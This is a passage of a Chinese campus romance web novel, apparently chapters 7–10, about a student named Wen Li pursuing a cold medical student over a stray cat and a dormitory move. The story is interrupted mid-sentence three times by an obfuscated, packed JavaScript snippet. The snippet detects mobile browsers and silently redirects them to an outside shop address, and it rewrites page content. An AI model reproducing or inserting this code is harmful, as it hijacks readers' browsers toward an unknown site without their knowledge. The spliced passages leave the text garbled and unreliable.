“阿予,我知道你怨我,怪我抛弃你,可是你能不能摸着良心想一想,我养你的十年有没有苛待过你,我待你不好吗?” “……” 是,她待他很好,如果不是因为她待他太好,他也不至于十年后的今天还心存幻想。 “当年如果不是我收养了你,你外公去世时你就只能去福利院,你能想象你过的是什么样的日子吗?如果不是我把你带出来,供你吃喝,给你提供最好的教育条件,你真的能考上现在这么好的大学吗?都说生恩不如养恩,这十年的情分还不值得你付出一点的回报吗?” 靳茉眼睛红了,肖靳予却只是沉默地看着她。 又是这样的眼神,她宁愿他恨她,骂她,把情绪歇斯底里地发泄出来,而不是现在这样,冷漠空洞。 她害怕极了这样的眼神,因为不管你怎么对他,他都是这样不冷不热的态度,你永远猜不到他在想什么,有时她都觉得自己在捂一块永远捂不热的石头。 罢了,多说无益。 靳茉低头,从包里拿出一张银行卡:“这里是三十万,密码是你的生日,你拿去用。” 肖靳予看着她,似是几分不可置信:“你觉得我今天是来跟你要钱的?” “不管是不是。”靳茉垂眼,“这都是给捐赠者的营养费,我先走了,你好好保重。” 靳茉离开了。 肖靳予坐在原地许久,他感觉好累,倒不是难过,只是疲惫到麻木的累,甚至不知道自己到底什么感觉,所有情绪都被麻木替代。 外面下起了雨,淅淅沥沥的,没什么声音,顺着玻璃淌下来,一道道像眼泪爬过的痕迹。 肖靳予撑伞离开餐厅。 雨越下越大,他在餐厅外站了一会儿,一只白猫突然从灌木丛中蹿出来,飞奔而过时还踢了他一脚。 肖靳予看过去,白色的波斯猫,一看就是品相好的赛级品种,也不知道是被抛弃了,还是走丢的。 肖靳予半蹲下身,从口袋拿出一袋饼干去喂它。波斯猫警惕性很高,犹豫着出来吃了他的饼干,很快再度躲到了冬青下面,还冲着他“喵”了好几声,听不懂,但估计骂得挺脏。 一人一猫面面相觑。 肖靳予嗤了声:“性格这么差,怪不得被弃养。” “喵~” - 周六,温梨约程希灵出来逛街。 两人逛到傍晚才往回走,天色阴沉下来,到半路,雨落了下来。 两人躲进候车棚。 温梨收了伞:“这雨真不是时候。” 程希灵看着外面的雨愣神。 隔了一会儿,她说:“梨梨。” “嗯?” “前段时间我心情不好,所以对你态度有点差,对不起呀。” 温梨没当回事:“哦,你说苹果那事,我都忘了,朋友之间是不用说对不起的,再说了我也不对,我不该管你的私事。” “我不是不想说。”程希灵声音轻轻的,“就是事情挺复杂,我不知道怎么说,如果有机会……” “哎,等等!” 程希灵话没说完,温梨一把抓住她的胳膊,眼睛瞪得溜圆:“你看那边!是不是那谁?!” 程希灵循声望去。 马路对面是一个小公园,雨幕里树木的轮廓都模糊了,沙沙的风声裹着雨丝,一眼望过去雾蒙蒙的。 梧桐树下站着一个人,他在风雨中转过头,冷白的皮肤,漆黑的眼,还有冷淡到不露一丝情绪的眉眼。 程希灵眯着眼睛辨认了一下:“是……肖靳予?” “没错,就是他!” 这叫什么,这就叫上帝给你关了一扇窗,却留了个狗洞。 温梨二话不说,撑开伞就要追过去:“我去给他送把伞。” “啊?”程希灵赶紧拦住她,“可是他有伞的。” 温梨定睛一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496928|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他手里确实拿着一把黑色长柄伞,但没撑开。 下雨天不打伞是几个意思,装酷?既然是这样的话,她思考两秒,咔嚓一声,把自己手里的伞给掰折了。 程希灵:“?” “我现在没伞了,我去跟他借把伞。” 程希灵:“……”还能这样。 温梨嘱咐她:“帮我把东西拿回宿舍。” 程希灵懵懵地点头,看她把一个个的购物袋勾在她手指上,最后剩下一只蓝色的购物袋:“这个送你。” 程希灵一愣:“送我?” “对。” 下午逛商场时程希灵试过一条白色雪纺裙,她很喜欢,可惜裙子太贵,打完折九百多,都快赶上她一个月的饭钱了。程希灵只好说自己不喜欢,恋恋不舍地把衣服挂回了衣架上。 她没想到,温梨居然回去买下来了。 程希灵自然不肯收:“不行,这条裙子太贵了。” “就当是你陪我逛街的礼物,你穿挺好看的。” 程希灵心情复杂,眼眶微润。 温梨这会儿顾不上她的感动,视线一直焦灼在对面的男生身上,生怕一个没看住人就走了:“不行,我得走了,帮我把剩下几件拿回宿舍,谢谢啦。” 程希灵还想说点什么的,温梨已经跑进了雨里。 她捏紧伞骨,就这么看着她不讲道理又莽撞地冲进那个不属于她的世界。 她其实理解不了,人怎么能厚脸皮到这种程度,明明肖靳予一直都不搭理她,她居然还能堂而皇之地出现在他面前,她都不会觉得尴尬吗? 但是看着那道越来越小的背影,突然有点羡慕。 _ 肖靳予早就注意到马路对面的身影。 她的视线炙热又不加掩饰,迫不及待地横穿马路,踩着积水朝他奔来,猛地一个急刹车,一股很淡的茉莉花香随雨丝漫过来。 雨幕里,她仰起脸,熟稔地跟他打招呼:“嗨,肖靳予。” 她的声音很欢快,尾音带点上扬的儿化音,让他乍听之下还以为她喊的是“小金鱼儿”。 肖靳予没说话,垂着眼看她。 又是这种陌生的眼神,可不就是前几天把她认成超市促销员的眼神,温梨有理由怀疑:“你不会是又不记得我了吧?” 他上辈子肯定是条鱼,记忆只有七秒。 肖靳予:“记得。” 温梨不信:“我是谁?” 肖靳予:“温梨。” 她的名字从他嘴中吐出,不带什么温度,却听得耳朵麻麻的。温梨终于开心了,继续补充:“我叫温梨,你可以叫我梨梨,我今年十九岁,身高161,体重55,家住……” “有事吗?”肖靳予打断了她,因为他再不制止,她很可能会把家里银行卡密码都告诉他。 “哦,你看我们都认识了,雨下这么大,我又没带伞,你能不能送我回宿舍呀?” 肖靳予没接话,像是在犹豫。 雨还在下,她被淋得有点狼狈,脸颊贴着几缕凌乱的发丝,一双琥珀色的瞳眸流转着亮闪闪的笑意,就这么期待地望着他。 片刻后,他抬手,把黑色的长柄伞递到她面前。 温梨低头看看那把伞,又抬头看看他:“伞……就给我了?” “嗯。” “你呢?” “不用。” 温梨:“……” 撩不动,真的撩不动一点。 8. 第 8 章 温梨都怀疑他的情丝是不是被抽走了,人怎么能不解风情到这种地步。 长得再帅又怎么样,标准的注孤生。 她在心里吐槽了一番,然后磨磨蹭蹭地把伞撑开,假装不经意地往他那边瞟了一眼,想看看他是不是也要回学校,这样还能顺理成章地说一句“好巧,我们一起走吧” 结果对方站在原地,纹丝不动。 无语了,这雨到底有什么好看的,能有她好看吗? 温梨气乎乎地撑开伞往回走了几米,又觉得这么回去实在太亏了,想了想,不甘心地折返回来了。 雨越下越密,他的肩膀已经淋湿了一片,深色的外套洇出水渍,这么看真像一只被淋湿的小狗狗。 正偷看呢,被偷看的对象突然转过头来,温梨慌乱的移开视线:“哇,雨好像越来越大了呢。” 她开始没话找话,但对方并不搭腔。 “我看天气预报说待会儿有可能会打雷,你小学应该学过的吧,打雷是不能站在树下的?” “……”还是没搭腔。 就这么尴尬的过了五分钟,尴尬的让温梨这种社牛都开始浑身不自在了:“那我可真走啦?” 肖靳予终于有了点反应,他没看她,目光不知道落在哪里,只是鼻腔抿出很淡的“嗯”一声。 真是油盐不进。 你就站这淋着吧,最好淋感冒了。 温梨彻底放弃,刚走两步注意到脚边的灌木丛动了一下,传出微弱的一声“喵~” “有猫?”温梨弯着腰去找声音的源头。 是一只白色的波斯猫,缩在冬青下面,浑身湿透了,哆哆嗦嗦地发着抖,听到树叶被拨开的动静又叫了一声,声音细细的,很快被雨声覆盖。 “这里有只小猫哎。”温梨惊喜交加,手伸过去刚想摸就被肖靳予提醒:“小心点,它咬人。” 随话音落下的还有温梨去撸猫的手,小猫“喵”了一声,对于突然靠近的手掌并没有过多的抗拒,反而乖巧地用脑袋去蹭的掌心。 温梨笑着回头:“哪有啊,你看,它可乖了。” 肖靳予:“……” 刚才不是这样的。 “咪咪,你饿不饿呀?”作为中国人,捡到活物的第一反应就是投喂,温梨从包里翻出一根火腿肠,半蹲下来,一手费力撑着伞,一手剥开肠衣递到小猫嘴边。 伞太大了,伞面歪歪斜斜地顶在她头上,雨水顺着伞沿往下淌,眼看就要灌进她的脖子里。 肖靳予伸手把伞接了过来。温梨一愣,回头,伞柄已经换到他手里。他撑得比她稳多了,伞面不偏不倚,刚好把她和猫罩在中间。 温梨忽然有点受宠若惊:“谢谢啊。” 腾出一只手后,她可算能尽情撸猫了,没一会儿就连哄带骗的把小猫儿给引诱了出来。 这会儿温梨突然意识到,所以他一直站在这里不走,难道并不是淋雨而是在看这只猫吗? 难道他喜欢猫? 温梨抱着猫送到他面前:“你要不要摸一下?” 肖靳予拒绝:“不要。” 温梨:“它就是看着高冷,你硬要摸它,它也不会咬人的,跟你一样,放心摸。” 肖靳予:“……” 哪里一样。 “真不摸?”温梨歪着脑袋,见他没回应,反而笑得格外开心了,“那我替你摸回来吧。” 温梨可不客气,邪恶的爪子伸过去给人浑身摸了个遍,摸到它肚子时,她注意到它肚子比平常的猫要大,软软的,似乎还有液体波动。 “你是怀孕了吗?”她把小猫举起来,结果发现是只公猫,那就不是怀孕,“肚子怎么这么大,难道是生病了?” 小猫只能“喵喵”地回应,声音软绵绵的听着有点可怜。 温梨把小猫抱在怀里,回头跟肖靳予说:“它好像生病了,我得送它去医院。” “给我看看。”肖靳予说。 “好,”温梨把胳膊抬高,肖靳予的手刚伸过去碰到它肚子,小猫应激似的开始挣扎。 温梨一边安抚着小猫,一边按住它的爪子:“没事的,没事的,一会儿就好了。” 肖靳予收回手,表情没什么变化:“没事,饮食不当引起的胀气。” 温梨诧异:“你们医学生不止会医人还会医猫啊?” “基本生理构造相通。” “所以这个要怎么治?” “去药店买盒益生菌就行。” 温梨看着怀里瑟瑟发抖的小猫,语气里带着一丝不确定:“就这么简单?” “嗯。” 街对面就有家药店,温梨抱着猫冲进去,肖靳予跟在后面收伞。 温梨到店里借了杯温水,把药粉兑进去,一点点喂给小猫。 等折腾完出来,外面的雨也停了,街道亮起灯,照得雨后的柏油路一片透亮。 小猫窝在温梨的怀里睡着了,偶尔动一下,用小脑袋拱拱她的手臂。 看着这团毛茸茸的团子,温梨的心都快化了。 她虽然喜欢小动物,但打小什么都养不活,就连门口那棵发财树都因为她“多关照了几次”而含恨归西,所以爸妈下了死命令,不许再养宠物。 “它真的好乖,”她小声说,“你说它是不是被主人抛弃了?” 肖靳予没说话,安静走在她旁边。 温梨也不指望他的回答,自顾自地继续说:“肯定是,这么乖的小猫,要不我收养它吧,不然它还得继续流浪。” “……” “可是宿舍不能养猫,”温梨叹道,“我爸妈也不让养。” “……” “再过几个月都要冬天了,你看它这个身体素质,下雨都能生病,到那会儿估计也找不到吃的,不饿死也得冻死。” 她想象了一下这只猫咪的命运,蜷缩在某个冰冷的角落里,饿着肚子,瑟瑟发抖,叫天天不应叫地地不灵。 温梨陷入悲伤中,正伤春感秋呢,身旁冷不丁冒充一道声音:“给我吧。” “?”温梨一时没反应过来:“什么?” “猫。”肖靳予重复了一遍,语气平静,“我养。” “你养猫?”温梨不可思议地看着他,好奇怪,他是这种关爱流浪动物的热心肠人设吗? “嗯。”肖靳予又应了声,听着不像开玩笑。 “你在哪养?” “家。” 温梨眼睛一亮:“原来你也是海市人啊?你在哪个学校上的高中?我之前怎么没见过你,那你养猫,你爸妈没有意见吗?你之前养过猫吗?” 她这一连串问题砸下来,他都不知道先回答哪个,最后他只说了句:“可以养。” “那可真是太好了,”温梨激动得声音都高了八度,抱着猫往他面前凑,“咪咪,你有爸爸了!你以后不用再流浪了!” 肖靳予:“……” 好奇怪的称呼。 _ 因为淋了雨,温梨回宿舍的第一件事便是洗澡。 老校区条件有限,宿舍没有独立卫浴,洗澡得去公共澡堂。 洗完后她也懒得换衣服,就这么穿着宽松的睡裙,一手拎着洗漱篮,一手拿毛巾胡乱擦着脖子上的水珠,慢吞吞往宿舍楼走。 刚进大厅,就被宿管阿姨叫住:“那个同学!” 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496929|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨停下脚步,茫然地回头。 阿姨指了指门口站着的一个男生:“门口那小伙子,说是来给你们宿舍的程希灵送东西的,人都站一晚上了,你上去顺道带一下吧。” 温梨顺着看过去,一个高瘦的男生站在门禁外面,手里拎着一个塑料袋,跟她一对视,表情还有点局促。 温梨认出他了,是那个听力不太好的男生。 “哦,好。”温梨走过去,男生赶紧把袋子递过来,嘴里说着不太标准的谢谢,是一盒草莓,红艳艳的,个头很大。 温梨回想起那袋被扔进垃圾桶的苹果,心里有点犹豫,不知道要不要帮他带上去,万一程希灵不想收,回头又怪她多管闲事。 男生冲着她比划了几个手势,温梨看不懂,试探着说:“她应该在图书馆,你要不再等会儿亲自给她?” 男生也听不懂,疑惑地望着她。 气氛一下子有点尴尬,她去洗澡也没带手机,没法打字给他看。 温梨捏了捏嗓子,放慢语速,连比划带对口型:“你、再等一会儿,她、很快、就回来。” 男生这下明白了,笑着跟她说完谢谢,然后继续站在路边等。 温梨提着澡篮上楼了,进门就发现程希灵居然在宿舍里,她穿着睡衣坐在桌前看书,看样子有一会儿了。 温梨懵了:“你是一直在宿舍?” 程希灵抬头:“嗯,怎么了?” 温梨张了张嘴,想说楼下有人等你,话到嘴边又咽回去,换了个说辞:“就是舍管阿姨说楼下有你的东西,让你下楼拿一下。” 程希灵手上的动作顿了顿,沉默了一会儿,她合上书,站起身,推门出去了。 温梨摊坐在椅子上开始擦头发。 所以这俩人到底什么关系?难道是那个聋哑男生在追程希灵,程希灵不愿意?可是不愿意为什么要让他牵她的手呢。 这瓜真的好复杂。 温梨晃了晃脑袋,决定先不管别人的事,她掏出手机,点开和肖靳予的聊天框。 革命友谊需要趁热打铁,得借着养猫这个由头,多刷刷存在感。 于是打开小红书,开始搜索:【新手养猫注意事项】 然后一条条给他转发。 大梨士:【养猫千万别做的几件事】 大梨士:【猫咪生病的征兆】 大梨士:【怎么给猫选粮】 一口气转了十几条,虽然知道他大概率不会看,但存在感还是要继续刷的。转发完,温梨放下手机,正要继续擦头发,屏幕突然亮了。 绿色的对话框冒出一个字。 小金鱼:【嗯】 温梨盯着这个字,愣了足足五秒钟。 见鬼,肖靳予居然回消息了。 在此之前她精心编辑的各种消息他都没回过,她都自暴自弃地放弃了,结果随手的几条转发博文,他就回复了,就是“嗯”这个字,有点太冷淡了,至少她平时回别人都是回“嗯嗯”。 她想了想,噼里啪啦打字:【你不能多回几个字吗?比如“好的,我知道了,谢谢你”,一个字显得你很不近人情哎】 发送。 等了一会儿。 小金鱼:【好的,我知道了,谢谢你】 温梨盯着这句一字不差的话,笑得更厉害了,莫名其妙的,就感觉他还挺可爱的。 然后她忽然想到一个问题,他之前总是不爱回消息,会不会不是不想回,而是不知道该怎么回? 她的脑海中浮出一个画面。男生眉头紧锁地看着她的消息,打了又删、删了又打,最后干脆放弃。 她发现了,高冷只是你的伪装,小金鱼。 9. 第 9 章 海市秋季多雨,连绵下了几天,今天终于放晴了,久违的阳光破层而出。 因为养猫,温梨总算找到了一点与肖靳予的共同语言。她开始有事没事地刷养猫博主的账号,看到有用的都转发给他。 肖靳予的回复一如既往的简洁,“收到”、“嗯”、“好”之类,但是比起之前的石沉大海,这已经是历史性突破了。 温梨安慰自己,慢慢来嘛,冰山也不是一天能融化的。 周末温梨回了趟家。 前几天张教练发来消息,问她的伤恢复得怎么样,省队有名额推荐去国家队集训,问她愿不愿意。 她当然愿意。 但她爸妈是不会同意的,所以她这趟回家,是来探口风的。 客厅里,季青提坐在沙发上看体育频道,是一场体操比赛,运动员是个十四岁的小姑娘,估计第一次参加这种大型赛事,镜头切到她脸上时,稚嫩的脸颊绷得紧紧的。 温梨端着果盘坐过去:“爸比,在看比赛呢?” “嗯,”季青提,“有事啊?” “没事,”温梨捏起一颗葡萄塞嘴里,“过来陪你一起看。” 电视里播放着高低杠项目,小姑娘在杠上翻转腾挪,季青提看得直皱眉:“这项目看着不太安全啊,连个保护措施都没有,摔了可怎么办?” “有保护措施的,”温梨给他解释,“你看杠杆下面都铺着海绵坑,再说了运动员都是经过专业训练的,……” 结果刚说完,“砰”的一声闷响,那个女运动员直愣愣地从高杠上砸进了海绵坑。 温梨一颗葡萄肉差点卡嗓子眼里。 不是吧妹妹。 你也太会卡点了。 “哎呦,”季青直的眉头皱的更紧了,“你看看,我就说不安全吧,我就说不安全吧。还好你不练了,不然我这心脏真受不了。” 他抄起遥控器换了个农业频道,大棚种植专家在讲冬季保温技巧。 温梨捏着葡萄,没往嘴里送。 温陶从厨房出来,端着切好的橙子:“你俩怎么研究起大棚了?” “刚才看体操,那小姑娘从杆子上摔下来,太吓人了。” “就是。”温陶附和,“当初送梨梨去体校就是图个锻炼身体,可从没想过让她去拿什么奖。” 温梨没吭声。 手里的葡萄快被捏成葡萄干了。 吃完饭回到房间,她把自己砸进床上,盯着天花板发呆。 其实她也不想让爸妈担心。 去年她在赛场上杠铃脱手,两百斤的重量砸下来,她下意识用手去挡,导致右臂骨折加韧带撕裂。爸妈在手术室外等了她三个小时,后来她听护士说,她爸爸蹲在墙角哭了,她从来没见过爸爸哭。 那会儿躺在病床上她也想过。 算了,不练了。 好好上学。 举重这条路,本来就不像田径、网球那样风光,就算是拿下奥运冠军又怎么样,没代言,没商业价值,没前途。 可是看到张教练消息的那刻,她就知道骗不了自己,她还是怀念杠铃握在手里的感觉。她喜欢这种极致的征服感,就算没前途又怎么样? 手机震了一下,季丞发来消息:【在家?】 温梨回了个“哦”。 视频请求几乎同时弹过来。她翻了个身接听,屏幕上出现她哥那张欠揍的脸,背景是男生宿舍,身后栏杆上搭着两件晾干的T恤。 季丞一眼看穿她脸上的丧气:“在家吵架了?” “没有,找我什么事?” “在医院附近租了个房,过几天来帮我搬个家。” “?我是搬家公司?” “搬家公司哪有你的力气,扛着200斤的电冰箱如履平地。”季丞往椅背上一靠,欠嗖嗖地补刀,“再说你不来帮我搬家你这运动细胞还有什么用,不会想回去比赛吧? ” 这人的嘴真贱! 温梨懒得跟他吵,手指已经挪到挂断键上。 就在这时,屏幕里闪过一道身影。 男生穿了一身黑,头发湿着,像是刚洗完澡。耳根到后颈泛着一层浅红,湿发软趴趴垂下来,整个人看上去比平日乖得多,甚至有点好欺负。 肖靳予。 温梨的手指顿住了。 他刚从浴室出来,手里拎着条毛巾偏头擦头发。镜头只拍到他侧脸,得益于她优秀的视力,她甚至看到有一滴水顺着脖颈滑进领口。 温梨咽了咽口水。 好……色。 她调整着呼吸,正要仔细看,季丞捞了个苹果直起了腰身,脑袋一晃,严严实实把人给挡住了。 温梨诚恳建议:“你能不能蹲下啃苹果啊?” “?”季丞,“我为什么要蹲下啃?” 温梨看着屏幕里那颗晃来晃去的脸,恨不得把手伸进去给他拨开。 因为你挡着了知道吗,挡着她看帅哥了! “因为你鞋带开了。”温梨忽悠他。 “?”季丞低头看了眼鞋子,又抬起头,“我穿的拖鞋。” 温梨放弃了挣扎,她睁大眼睛,视线越过季丞的脑袋,定在他身后那一截黑色的短袖。 他穿黑色原来这么好看,不对,这不是重点,重点是他和季丞一个宿舍,如果她去他宿舍的话…… 她心跳莫名快了一拍,耳根后知后觉地烧起来。 “喂?喂!”季丞的声音把她拉回来,“不说话我挂了。” “别!”温梨调整表情,“我认真想了想,还是决定去帮你搬家。” 季丞挑眉:“终于想明白了?” “对对对。”她点头,语气真诚而狗腿,“给哥哥当苦力,是我这辈子最大的荣幸。” 季丞欣慰地点头,对她的马屁相当受用。 季丞刚想继续损她几句,宿舍门被推开,几个人鱼贯而入。路过他身后时,其中一个眼尖,看到了手机屏幕里的温梨,顿时来了精神:“跟女朋友聊天呢?” 另一个凑过来:“卧槽,你小子吃这么好?” “什么时候交的女朋友,之前没听你说过?” “季丞你禽兽啊,这妹子成年了吗?” 温梨看到画面里冒出的陌生面孔,知道是季丞的舍友,乖巧喊了声:“哥哥们好。” “哎呦我去,好甜……”那人捂着胸口,夸张地往后一仰,“心都要化了!妹妹有空一起出来玩啊!” 季丞脸一黑,挂了视频:“都滚,别打她主意。” 舍友笑嘻嘻地勾肩搭背:“急什么,我还能跟你抢妹子?” 另一个跟着起哄:“我们这水准,人家妹子也看不上啊,别防我们,你得防肖神。” 肖靳予坐在椅子上翻期刊。 季丞开得外放,他确实听见了那个脆生生的声音,带着撒娇的尾音喊“哥哥”,和那天在医院里跟他说“很疼”时的语气一模一样。 期刊上的字一个都没看进去。 “你得防肖神!” “对啊,行走的少女心粉碎机在那呢。” “捂严实点,千万别让你女朋友看见他,不然指不定谁跟谁跑了。” 肖靳予的手指在页角停了一瞬。 防他做什么? 他什么都没做。 季丞不经意地瞥了他一眼。 男生侧脸线条利落,眉骨高而分明,下颌线紧致。不得不承认,确实是女生会喜欢的脸。 季丞在心里骂了一句。确实得防着点。温梨那丫头是个颜控,指不定鬼迷心窍了。 他低头给温梨发微信:【算了,不用你来搬家了】 对面秒回:【不行!不帮你搬家我浑身难受!】 季丞:“……” _ 温梨的宿舍离医学部隔着大半个校区,上完中午的课,她饭都没吃,就跑回宿舍换衣服,去帮季丞搬家。 等到季丞宿舍门口的时候,差点以为误入了快递分拣中心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496930|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上横七竖八全是箱子,几乎把整个门口都堵住,她站在门外,一时不知道该怎么下脚。 宿舍里也没看见季丞,只有一个男生坐在桌前看电影,见到她笑嘻嘻地招手:“你是不是那天跟季丞打视频的妹子?来帮他搬东西?” 温梨点点头,探头往里看了看:“季丞呢?” “去楼下买胶带了,你先进来坐会儿。” 温梨踮着脚尖,从箱子缝隙之间往里挪,一边挪,一边不动声色地打量起四周。 男生宿舍比她想象中要正常,没有袜子挂床头、外卖盒堆成山的场面,规规整整的,唯一的例外是季丞那几只箱子。 “季丞的床是哪个?”她问。 “就那儿,”男生给他指了个位置,“旁边是我的,下面是肖靳予。” 听到肖靳予的名字,温梨的心尖轻轻跳了下,目光下意识往对面飘过去。 那张床没装床帘,床单被罩都是灰色系,和它主人一样,透着一股生人勿近的冷淡。 正看得出神,门口传来动静,季丞拎着卷胶带回来了。 “来了?”他一进门就开始指挥,“过来帮我把这个搬到楼下车里就行。” 温梨走过去,弯腰去看箱子里的东西,衣服,鞋子、书,还有一箱…… 她定睛看了三秒,确定自己没有眼花。 是一箱子哑铃。 “这是做什么的?”她抬起头,表情一言难尽。 季丞过来把箱盖扣上:“我最近在健身。” “你?”她狐疑,“还会健身?” “我怎么不能健身了?” 温梨能信他才怪,她可太了解他了,这位少爷从小体质弱,小时候三天两头生病,所以养成了能躺着绝不坐着的习惯。 高中时因为体测一千米跑了五分钟而被他们班男生嘲笑一学期,就这样都没能让这位爷迈开腿去去操场跑两步。 现在跟她说要健身? 有鬼,一定有鬼。 季丞被她看得心虚,轻咳一声,转移话题:“东西确实有点多了,这样吧,我去楼下快递站借个小推车。” “不用,这点东西,我一趟就搬下去了。”温梨走过去,弯腰把门口几个塑料箱子摞了摞,抬着就往外走了。 “不是。”季丞被她这操作给看愣了,“你小心着点。” 温梨没理他,抱着那摞比她还高的箱子稳稳当当地下楼,走到楼梯口的时候,眼前突然一暗。 温梨下意识偏头,映入眼中的是一件纯黑色的短袖。 视线往上挪,喉结,下颚,嘴唇。 肖靳予! 温梨的手一抖,最上面的箱子跟着摇摇欲坠地晃了两下,眼看就要往下掉,肖靳予抬手帮她扶了一下。 离得很近,温梨能感觉到他的手臂从她肩侧擦过,带起一点微凉的风。 她的小心脏又开始不规律的跳动了。 温梨深呼一口气,这才从箱子后面探出半张脸,眼睛弯起来:“谢谢你啊。” 又是那双很熟悉的眼睛,亮盈盈的,盛着光。 肖靳予顿了下,视线往上抬,看着快要摞到天花板上的箱子:“季丞,让你给他搬这么多箱子?” 温梨:“……” 坏了,他不会以为她是什么怪力女吧。 “看着多其实不重,这都是空箱子。”她赶紧把箱子放地上,往旁边挪了挪,恨不得要跟这堆东西划清界限,“真的不重。” 肖靳予没说话,视线往下落到她的腿上。 她穿的短裙,大腿白皙圆润,像饱满的羊脂玉,膝盖处有一小块明显的红痕,是上次在医院时划伤的伤口,脱了痂,红痕还在。 他迟迟未挪开视线。 温梨忽然有些不好意思,耳尖也跟着悄悄烫了起来。 不是,他干嘛看她的腿啊。 太难为情了吧。 不自觉地,她双腿缓慢并拢,连站姿都端正了许多。 10. 第 10 章 肖靳予的视线微微下垂,落在她的膝盖上。 这会儿温梨才忽然意识到,他不是在看她的腿,而是看上次在医院割伤的那道口子。 思绪才刚起了个头,手腕猛地一紧,一股力道把她整个人往后拽去。 她踉跄两步,险些没站稳,等回过神来,人已经被扯到另一侧。季丞不知什么时候从宿舍出来了,站在她身侧,手还扣着她的手腕。 肖靳予没说话。 季丞也没说话,眼神警告意味明显,跟个护食的狼崽子似的。 空气静了一瞬。 温梨:“?”不是,哪里来的火药味啊。 她都没弄明白发生了什么,就被季丞生拉硬拽着回宿舍:“你干什么啊?” 话音刚落,一件外套劈头盖脸扔过来:“以后别穿这么短的裙子。” 温梨把外套从脑袋上扯下来,莫名其妙的:“为什么?” “你没看到肖靳予在盯着你大腿看?” 温梨的脸腾地一下红了,用力把外套甩回他身上:“你有病吧,他看得是我的膝盖!” “膝盖?”季丞,“肖靳予还有这种特殊癖好?” “??”温梨真是服了他了,“大哥,是你的心太脏了,我上次在医院不小心划伤了膝盖,是他帮我处理的伤口,所以才注意我膝盖的。” 季丞挠了挠鼻尖:“是这样的吗?” 温梨算是看明白了,什么饱受肖靳予压迫的小可怜,分明是他自个嫉妒人家,看人家不顺眼就硬挑毛病,还挑得理直气壮,这么大的人了还这么幼稚,也不嫌害臊。 好在肖靳予应该还不知道她是季丞的妹妹,不然他一定会觉得她跟季丞一样脑子有病。 温梨努嘴:“你能不能别对人有偏见?” “我这不也是在关心你,你怎么还向着他?” “我帮理不帮亲。” 季丞冷笑:“我看你是见色忘亲,我警告你,别看他长得帅就对他产生什么想法!我不同意。” 温梨被他说得心里一虚:“你想什么呢,我……我怎么可能对他有什么想法啊?” 季丞啧了声,抱着胳膊审视着她:“要不要我拿镜子给你照照你刚才的花痴样?” 温梨真是烦死他了:“都说了没有,谁喜欢他那张面瘫脸啊,寡淡又无聊,站旁边都怕着凉,跟他说十句都不会回一句,还不如向葵家的狗会提供情绪价值……” 这一箩筐话吐豆子似的倒完,还没收住尾音呢,余光里有见一片阴影从旁边压过来。 温梨一愣,缓缓转头,正对上肖靳予那张没什么表情的脸。 温梨:“……” 好在他看上去只是恰好路过,并没有驻足,平静地拉开宿舍门进去了。 锁扣搭上,发出极轻的一声“咔嗒”。 空气安静了数秒,温梨僵硬地转回视线,咽了咽喉咙去问季丞:“我刚才的声音大吗?” 季丞诚恳回答:“挺大的啊。” 温梨生无可恋地闭上了眼。 这下完了,他肯定听到她说他坏话了,本来就没多好的印象更差了,都怪季丞这颗毒瘤,简直是她恋爱道路上的绊脚石,早知道就不来帮他搬家了。 她烦闷地踢了一脚地上的箱子。 “轻点,”季丞把箱子往旁边挪了挪,“这里面都是新鞋,好几万呢。” 温梨又踢了一脚。 故意的。 季丞懒得理她,弯腰搬起两个箱子:“别愣着了,快干活,车在下面。” 温梨不情不愿地抱起箱子往楼下搬。 季丞这次为了搬家还跟老爸借了车,车子停在宿舍楼下,温梨一路把东西搬进后备箱。 正准备回去搬第二趟,看到肖靳予从宿舍楼走出来。 他大概是要去图书馆,单肩背了个双肩包,就这么一会儿的功夫,就有个女生一脸激动地跑过去跟他搭话了。 估计是要微信的。 温柔蹲在车屁股后面,装作收拾东西,手上动作磨磨蹭蹭,余光跟长了脚似的,一个劲儿往他那边跑。 没过多久,女生一脸失望地离开了。 这是没要到? 温梨这样想着,默默收回视线,手上翻着几本摞了三遍的书,隔了几秒,又忍不住地瞟过去看他了。结果这一瞟,直接与他目光相撞。 肖靳予似是也没料到她会忽然看过来,一向冷淡的脸出现几丝不自然的神色。 “?” 他刚刚是在看她吗? 不可能吧,应该是错觉。 温梨赶紧低下头,继续跪在地上整理东西。 她今天绑的马尾,白T恤扎进奶粉色的百褶裙里,裙摆散落开,搭在大腿上。 肖靳予看着她,膝盖就这么毫无防护地跪在粗糙的柏油地面,地上都是尖锐的小石子,膝盖都磨红了,快破皮了,她却毫不在意。 他看了一会儿。 然后鬼使神差地开了口:“你的腿。” 